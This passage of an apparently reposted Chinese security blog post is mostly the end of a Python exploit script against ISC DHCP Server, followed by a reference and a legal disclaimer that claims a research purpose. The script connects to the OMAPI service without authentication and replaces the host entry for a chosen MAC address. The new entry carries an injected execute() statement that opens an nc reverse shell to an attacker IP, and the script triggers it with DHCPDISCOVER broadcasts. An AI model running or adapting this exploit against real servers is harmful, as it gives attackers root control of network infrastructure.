&nbsp; &nbsp; &nbsp; [pack_nv(b"hardware-address", mac_bytes),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pack_nv_int(b"hardware-type",&nbsp;1)])&nbsp; &nbsp;&nbsp;if&nbsp;resp["op"] ==&nbsp;3&nbsp;and&nbsp;resp["handle"] !=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; handle = resp["handle"]&nbsp; &nbsp; &nbsp; &nbsp; xid2 = random.randint(1,&nbsp;0x7FFFFFFF)&nbsp; &nbsp; &nbsp; &nbsp; msg = pack_message(6, handle, xid2,&nbsp;0, [], [])&nbsp; &nbsp; &nbsp; &nbsp; conn.sock.sendall(msg)&nbsp; &nbsp; &nbsp; &nbsp; recv_response(conn.sock)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp;&nbsp;return&nbsp;Falsedef&nbsp;inject_host(conn, mac_bytes, statement):&nbsp; &nbsp; host_name =&nbsp;f"pwn-{random.randint(10000,&nbsp;99999)}"&nbsp; &nbsp; xid = random.randint(1,&nbsp;0x7FFFFFFF)&nbsp; &nbsp; resp = conn.transact(1,&nbsp;0, xid,&nbsp; &nbsp; &nbsp; &nbsp; [pack_nv(b"type",&nbsp;b"host"),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pack_nv_int(b"create",&nbsp;1),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pack_nv_int(b"exclusive",&nbsp;1)],&nbsp; &nbsp; &nbsp; &nbsp; [pack_nv(b"name", host_name.encode()),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pack_nv(b"hardware-address", mac_bytes),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pack_nv_int(b"hardware-type",&nbsp;1),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pack_nv(b"statements", statement.encode())])&nbsp; &nbsp;&nbsp;if&nbsp;resp["op"] ==&nbsp;3:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;host_name&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; msg = resp["nvs"].get(b"message",&nbsp;b"unknown").decode("ascii", errors="replace")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError(f"Host creation failed:&nbsp;{msg}")def&nbsp;main():&nbsp; &nbsp; parser = argparse.ArgumentParser(&nbsp; &nbsp; &nbsp; &nbsp; description="ISC DHCP Server - RCE via OMAPI Statement Injection")&nbsp; &nbsp; parser.add_argument("--target", required=True,&nbsp;help="IP of the dhcpd server")&nbsp; &nbsp; parser.add_argument("--attacker-ip", required=True,&nbsp;help="Your IP for reverse shell")&nbsp; &nbsp; parser.add_argument("--attacker-port", required=True,&nbsp;type=int,&nbsp;help="Listener port")&nbsp; &nbsp; parser.add_argument("--mac",&nbsp;help="Target MAC (auto-detected if omitted)")&nbsp; &nbsp; args = parser.parse_args()&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;60)&nbsp; &nbsp;&nbsp;print(" ISC DHCP Server - Remote Code Execution (RCE)")&nbsp; &nbsp;&nbsp;print(" Unauthenticated OMAPI Statement Injection")&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;60)&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;print(f"[*] Target &nbsp; &nbsp; &nbsp; &nbsp;:&nbsp;{args.target}")&nbsp; &nbsp;&nbsp;print(f"[*] Reverse shell :&nbsp;{args.attacker_ip}:{args.attacker_port}")&nbsp; &nbsp;&nbsp;print(f"[*] Running as &nbsp; &nbsp;: uid={os.getuid()}")&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;if&nbsp;args.mac:&nbsp; &nbsp; &nbsp; &nbsp; mac_bytes = parse_mac(args.mac)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Using provided MAC:&nbsp;{format_mac(mac_bytes)}")&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; local_mac, local_iface = get_local_mac()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;local_mac:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mac_bytes = local_mac&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Local MAC detected:&nbsp;{format_mac(mac_bytes)}&nbsp;({local_iface})")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Could not detect local MAC. Use --mac to specify.")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)&nbsp; &nbsp;&nbsp;print(f"[*] Connecting to OMAPI on&nbsp;{args.target}...")&nbsp; &nbsp; conn = OmapiConn(args.target, OMAPI_PORT)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; conn.connect()&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] OMAPI connection failed:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)&nbsp; &nbsp;&nbsp;print("[+] Connected - no authentication required!")&nbsp; &nbsp; deleted = delete_existing_host(conn, mac_bytes)&nbsp; &nbsp;&nbsp;if&nbsp;deleted:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Deleted existing host for&nbsp;{format_mac(mac_bytes)}")&nbsp; &nbsp; &nbsp; &nbsp; conn.reconnect()&nbsp; &nbsp; rand_pipe =&nbsp;f"/tmp/.p{random.randint(1000,9999)}"&nbsp; &nbsp; revshell = (&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"rm -f&nbsp;{rand_pipe};"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"mkfifo&nbsp;{rand_pipe};"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"cat&nbsp;{rand_pipe}|/bin/sh -i 2>&1|nc&nbsp;{args.attacker_ip}&nbsp;{args.attacker_port}&nbsp;>{rand_pipe};"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"rm -f&nbsp;{rand_pipe}"&nbsp; &nbsp; )&nbsp; &nbsp; statement =&nbsp;f'execute("/bin/bash", "-c", "{revshell}");'&nbsp; &nbsp;&nbsp;print(f"[+] Injecting reverse shell payload for&nbsp;{format_mac(mac_bytes)}...")&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; host_name = inject_host(conn, mac_bytes, statement)&nbsp; &nbsp;&nbsp;except&nbsp;RuntimeError&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-]&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; conn.close()&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)&nbsp; &nbsp;&nbsp;print(f"[+] Host '{host_name}' created with execute() payload!")&nbsp; &nbsp; conn.close()&nbsp; &nbsp; handler_thread = Thread(target=connection_handler, args=(args.attacker_port,))&nbsp; &nbsp; handler_thread.start()&nbsp; &nbsp; time.sleep(1)&nbsp; &nbsp;&nbsp;print(f"[+] Triggering payload via broadcast DHCPDISCOVER...")&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(3):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;shell_connected.is_set():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; send_dhcp_discover(mac_bytes)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] DHCPDISCOVER #{i+1}&nbsp;sent")&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(2)&nbsp; &nbsp; handler_thread.join()if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

参考资料

[1]

Chaining ISC DHCP Server Features for Unauthenticated Root Remote Code Execution


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《ISC DHCP Server:利用特性链实现未认证的Root远程代码执行》

评论:0   参与:  0